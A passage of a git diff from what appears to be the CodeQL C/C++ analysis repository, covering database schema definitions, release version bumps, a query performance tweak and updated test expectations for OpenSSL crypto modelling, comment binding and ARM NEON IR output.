@routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties new file mode 100644 index 00000000000..9dc80bb35fc --- /dev/null +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties @@ -0,0 +1,3 @@ +description: capture whether a lambda has an explicitly specified parameter list. +compatibility: backwards +lambdas.rel: run lambdas.qlo diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index f9880ce5764..4edd493015a 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.4.2 + +No user-facing changes. + +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + ## 1.4.0 ### Query Metadata Changes diff --git a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md b/cpp/ql/src/change-notes/released/1.4.1.md similarity index 65% rename from cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md rename to cpp/ql/src/change-notes/released/1.4.1.md index c03bd600ac9..7d1ba66b92e 100644 --- a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md +++ b/cpp/ql/src/change-notes/released/1.4.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- -* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. \ No newline at end of file +## 1.4.1 + +### Minor Analysis Improvements + +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. diff --git a/cpp/ql/src/change-notes/released/1.4.2.md b/cpp/ql/src/change-notes/released/1.4.2.md new file mode 100644 index 00000000000..37be01f40d9 --- /dev/null +++ b/cpp/ql/src/change-notes/released/1.4.2.md @@ -0,0 +1,3 @@ +## 1.4.2 + +No user-facing changes. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index b8b2e97d508..a76cacdf799 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.0 +lastReleaseVersion: 1.4.2 diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql index 8575a431042..85b779903eb 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql @@ -98,8 +98,8 @@ private predicate exprReleases(Expr e, Expr released, string kind) { e.(FunctionCall).getTarget() = f or e.(FunctionCall).getTarget().(MemberFunction).getAnOverridingFunction+() = f ) and - access = f.getParameter(arg).getAnAccess() and - e.(FunctionCall).getArgument(arg) = released and + access = f.getParameter(pragma[only_bind_into](arg)).getAnAccess() and + e.(FunctionCall).getArgument(pragma[only_bind_into](arg)) = released and exprReleases(_, pragma[only_bind_into](exprOrDereference(globalValueNumber(access).getAnExpr())), kind) ) diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index 07c7cb32249..290c18cb815 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.1-dev +version: 1.4.3-dev groups: - cpp - queries diff --git a/cpp/ql/test/examples/expressions/PrintAST.expected b/cpp/ql/test/examples/expressions/PrintAST.expected index 724b109db48..2167ca3f4e5 100644 --- a/cpp/ql/test/examples/expressions/PrintAST.expected +++ b/cpp/ql/test/examples/expressions/PrintAST.expected @@ -324,7 +324,7 @@ Conversion3.cpp: # 2| getExpr(): [CStyleCast] (int)... # 2| Conversion = [IntegralConversion] integral conversion # 2| Type = [IntType] int -# 2| Value = [CStyleCast] 1 +# 2| Value = [CStyleCast] 5 # 2| ValueCategory = prvalue # 2| getRightOperand().getFullyConverted(): [ParenthesisExpr] (...) # 2| Type = [IntType] int diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected index 074f86fd449..73b0af3ad5f 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/cipher_operations.expected @@ -1,8 +1,16 @@ -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:13:40:31 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | -| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:11:90:29 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:35:36:35:45 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:23:62:23:65 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:23:68:23:71 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:40:13:40:31 | EncryptOperation | openssl_basic.c:35:54:35:62 | Message | openssl_basic.c:40:38:40:53 | KeyOperationOutput | openssl_basic.c:31:49:31:51 | Key | openssl_basic.c:31:54:31:55 | Nonce | openssl_basic.c:23:37:23:51 | KeyOperationAlgorithm | Encrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:81:32:81:40 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:69:58:69:61 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:69:64:69:67 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | +| openssl_basic.c:90:11:90:29 | DecryptOperation | openssl_basic.c:81:49:81:58 | Message | openssl_basic.c:90:36:90:50 | KeyOperationOutput | openssl_basic.c:77:45:77:47 | Key | openssl_basic.c:77:50:77:51 | Nonce | openssl_basic.c:69:33:69:47 | KeyOperationAlgorithm | Decrypt | diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected b/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected index 9e52ea44885..247c4389bc1 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/hash_operations.expected @@ -1,2 +1,2 @@ -| openssl_basic.c:124:13:124:30 | HashOperation | openssl_basic.c:124:13:124:30 | Digest | openssl_basic.c:116:38:116:47 | HashAlgorithm | openssl_basic.c:120:37:120:43 | Message | -| openssl_basic.c:144:13:144:22 | HashOperation | openssl_basic.c:144:13:144:22 | Digest | openssl_basic.c:144:67:144:73 | HashAlgorithm | openssl_basic.c:144:24:144:30 | Message | +| openssl_basic.c:124:13:124:30 | HashOperation | openssl_basic.c:124:39:124:44 | Digest | openssl_basic.c:116:38:116:47 | HashAlgorithm | openssl_basic.c:120:37:120:43 | Message | +| openssl_basic.c:144:13:144:22 | HashOperation | openssl_basic.c:144:46:144:51 | Digest | openssl_basic.c:144:67:144:73 | HashAlgorithm | openssl_basic.c:144:24:144:30 | Message | diff --git a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected index be0290274f0..e2418f7707c 100644 --- a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected +++ b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected @@ -9,3 +9,6 @@ | multi.c:5:27:5:36 | // Multi 3 | declaration of multi3 | | templates.cpp:3:3:3:8 | // Foo | declaration of foo | | templates.cpp:7:3:7:8 | // Bar | definition of bar | +| templates.cpp:16:3:16:20 | // using T::member | using member | +| templates.cpp:19:3:19:28 | // using T::nested::member | using member | +| templates.cpp:25:3:25:20 | // using T::member | using member | diff --git a/cpp/ql/test/library-tests/comments/binding/templates.cpp b/cpp/ql/test/library-tests/comments/binding/templates.cpp index 2c76db6a915..83d2947d952 100644 --- a/cpp/ql/test/library-tests/comments/binding/templates.cpp +++ b/cpp/ql/test/library-tests/comments/binding/templates.cpp @@ -10,3 +10,18 @@ class Cl { } }; + +template +class Derived : public T { + // using T::member + using T::member; + + // using T::nested::member + using T::nested::member; +}; + +template +class Base { + // using T::member + using T::member; +}; \ No newline at end of file diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.expected b/cpp/ql/test/library-tests/funcdname/funcdname.expected index 7564b54bff1..670b77b8a6b 100644 --- a/cpp/ql/test/library-tests/funcdname/funcdname.expected +++ b/cpp/ql/test/library-tests/funcdname/funcdname.expected @@ -1,2 +1,2 @@ | Bar::(unnamed namespace)::B | Bar::::B | -| Foo::(unnamed namespace)::A | _ZN3Foo37_GLOBAL__N__13_funcdname_cpp_?AEv | +| Foo::(unnamed namespace)::A | _ZN35_INTERNAL_13_funcdname_cpp_?Foo37_GLOBAL__N__13_funcdname_cpp_?AEv | diff --git a/cpp/ql/test/library-tests/funcdname/funcdname.ql b/cpp/ql/test/library-tests/funcdname/funcdname.ql index 08026d75e59..f3f34005ff6 100644 --- a/cpp/ql/test/library-tests/funcdname/funcdname.ql +++ b/cpp/ql/test/library-tests/funcdname/funcdname.ql @@ -2,4 +2,8 @@ import cpp from Function f, ReturnStmt r where r.getEnclosingFunction() = f -select f.getQualifiedName(), r.getExpr().getValue().regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv") +select f.getQualifiedName(), + r.getExpr() + .getValue() + .regexpReplaceAll("_[0-9a-f]+AEv$", "_?AEv") + .regexpReplaceAll("cpp_[0-9a-f]+Foo37_", "cpp_?Foo37_") diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected index 8d36ea7f952..b9ffaf71656 100644 --- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected +++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected @@ -58,6 +58,77 @@ #-----| Type = [LongType] unsigned long #-----| getParameter(1): [Parameter] (unnamed parameter 1) #-----| Type = [ScopedEnum] align_val_t +arm.cpp: +# 6| [TopLevelFunction] uint8x8_t vadd_u8(uint8x8_t, uint8x8_t) +# 6| : +# 6| getParameter(0): [Parameter] a +# 6| Type = [CTypedefType] uint8x8_t +# 6| getParameter(1): [Parameter] b +# 6| Type = [CTypedefType] uint8x8_t +# 6| getEntryPoint(): [BlockStmt] { ... } +# 7| getStmt(0): [ReturnStmt] return ... +# 7| getExpr(): [AddExpr] ... + ... +# 7| Type = [GNUVectorType] __attribute((neon_vector_type(8))) unsigned char +# 7| ValueCategory = prvalue +# 7| getLeftOperand(): [VariableAccess] a +# 7| Type = [CTypedefType] uint8x8_t +# 7| ValueCategory = prvalue(load) +# 7| getRightOperand(): [VariableAccess] b +# 7| Type = [CTypedefType] uint8x8_t +# 7| ValueCategory = prvalue(load) +# 12| [TopLevelFunction] uint16x8_t __builtin_aarch64_uaddlv8qi_uuu(uint8x8_t, uint8x8_t) +# 12| : +# 12| getParameter(0): [Parameter] (unnamed parameter 0) +# 12| Type = [CTypedefType] uint8x8_t +# 12| getParameter(1): [Parameter] (unnamed parameter 1) +# 12| Type = [CTypedefType] uint8x8_t +# 14| [TopLevelFunction] uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 14| : +# 14| getParameter(0): [Parameter] a +# 14| Type = [CTypedefType] uint8x8_t +# 14| getParameter(1): [Parameter] b +# 14| Type = [CTypedefType] uint8x8_t +# 14| getEntryPoint(): [BlockStmt] { ... } +# 15| getStmt(0): [ReturnStmt] return ... +# 15| getExpr(): [FunctionCall] call to __builtin_aarch64_uaddlv8qi_uuu +# 15| Type = [CTypedefType] uint16x8_t +# 15| ValueCategory = prvalue +# 15| getArgument(0): [VariableAccess] a +# 15| Type = [CTypedefType] uint8x8_t +# 15| ValueCategory = prvalue(load) +# 15| getArgument(1): [VariableAccess] b +# 15| Type = [CTypedefType] uint8x8_t +# 15| ValueCategory = prvalue(load) +# 18| [TopLevelFunction] uint16x8_t arm_add(uint8x8_t, uint8x8_t) +# 18| : +# 18| getParameter(0): [Parameter] a +# 18| Type = [CTypedefType] uint8x8_t +# 18| getParameter(1): [Parameter] b +# 18| Type = [CTypedefType] uint8x8_t +# 18| getEntryPoint(): [BlockStmt] { ... } +# 19| getStmt(0): [DeclStmt] declaration +# 19| getDeclarationEntry(0): [VariableDeclarationEntry] definition of c +# 19| Type = [CTypedefType] uint8x8_t +# 19| getVariable().getInitializer(): [Initializer] initializer for c +# 19| getExpr(): [FunctionCall] call to vadd_u8 +# 19| Type = [CTypedefType] uint8x8_t +# 19| ValueCategory = prvalue +# 19| getArgument(0): [VariableAccess] a +# 19| Type = [CTypedefType] uint8x8_t +# 19| ValueCategory = prvalue(load) +# 19| getArgument(1): [VariableAccess] b +# 19| Type = [CTypedefType] uint8x8_t +# 19| ValueCategory = prvalue(load) +# 20| getStmt(1): [ReturnStmt] return ... +# 20| getExpr(): [FunctionCall] call to vaddl_u8 +# 20| Type = [CTypedefType] uint16x8_t +# 20| ValueCategory = prvalue +# 20| getArgument(0): [VariableAccess] a +# 20| Type = [CTypedefType] uint8x8_t +# 20| ValueCategory = prvalue(load) +# 20| getArgument(1): [VariableAccess] c +# 20| Type = [CTypedefType] uint8x8_t +# 20| ValueCategory = prvalue(load) bad_asts.cpp: # 5| [CopyAssignmentOperator] Bad::S& Bad::S::operator=(Bad::S const&) # 5| : @@ -23814,11 +23885,11 @@ ir.cpp: # 2692| Conversion = [IntegralConversion] integral conversion # 2692| Type = [LongType] unsigned long # 2692| ValueCategory = prvalue -#-----| getExpr().getFullyConverted(): [CStyleCast] (int)... -#-----| Conversion = [IntegralConversion] integral conversion -#-----| Type = [IntType] int -#-----| Value = [CStyleCast] 1 -#-----| ValueCategory = prvalue +# 2692| getExpr().getFullyConverted(): [CStyleCast] (int)... +# 2692| Conversion = [IntegralConversion] integral conversion +# 2692| Type = [IntType] int +# 2692| Value = [CStyleCast] 1 +# 2692| ValueCategory = prvalue # 2693| getStmt(1): [ReturnStmt] return ... # 2693| getExpr(): [VariableAccess] y # 2693| Type = [IntType] int diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected index b95e1b231d8..fbd0db5e796 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ir.expected @@ -1,3 +1,86 @@ +arm.cpp: +# 6| uint8x8_t vadd_u8(uint8x8_t, uint8x8_t) +# 6| Block 0 +# 6| v6_1(void) = EnterFunction : +# 6| m6_2(unknown) = AliasedDefinition : +# 6| m6_3(unknown) = InitializeNonLocal : +# 6| m6_4(unknown) = Chi : total:m6_2, partial:m6_3 +# 6| r6_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 6| m6_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r6_5 +# 6| r6_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 6| m6_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r6_7 +# 7| r7_1(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 7| r7_2(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 7| r7_3(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r7_2, m6_6 +# 7| r7_4(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 7| r7_5(__attribute((neon_vector_type(8))) unsigned char) = Load[b] : &:r7_4, m6_8 +# 7| r7_6(__attribute((neon_vector_type(8))) unsigned char) = Add : r7_3, r7_5 +# 7| m7_7(__attribute((neon_vector_type(8))) unsigned char) = Store[#return] : &:r7_1, r7_6 +# 6| r6_9(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[#return] : +# 6| v6_10(void) = ReturnValue : &:r6_9, m7_7 +# 6| v6_11(void) = AliasedUse : m6_3 +# 6| v6_12(void) = ExitFunction : + +# 14| uint16x8_t vaddl_u8(uint8x8_t, uint8x8_t) +# 14| Block 0 +# 14| v14_1(void) = EnterFunction : +# 14| m14_2(unknown) = AliasedDefinition : +# 14| m14_3(unknown) = InitializeNonLocal : +# 14| m14_4(unknown) = Chi : total:m14_2, partial:m14_3 +# 14| r14_5(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 14| m14_6(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[a] : &:r14_5 +# 14| r14_7(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[b] : +# 14| m14_8(__attribute((neon_vector_type(8))) unsigned char) = InitializeParameter[b] : &:r14_7 +# 15| r15_1(glval<__attribute((neon_vector_type(8))) unsigned short>) = VariableAddress[#return] : +# 15| r15_2(glval) = FunctionAddress[__builtin_aarch64_uaddlv8qi_uuu] : +# 15| r15_3(glval<__attribute((neon_vector_type(8))) unsigned char>) = VariableAddress[a] : +# 15| r15_4(__attribute((neon_vector_type(8))) unsigned char) = Load[a] : &:r15_3, m14_6 +# 15| 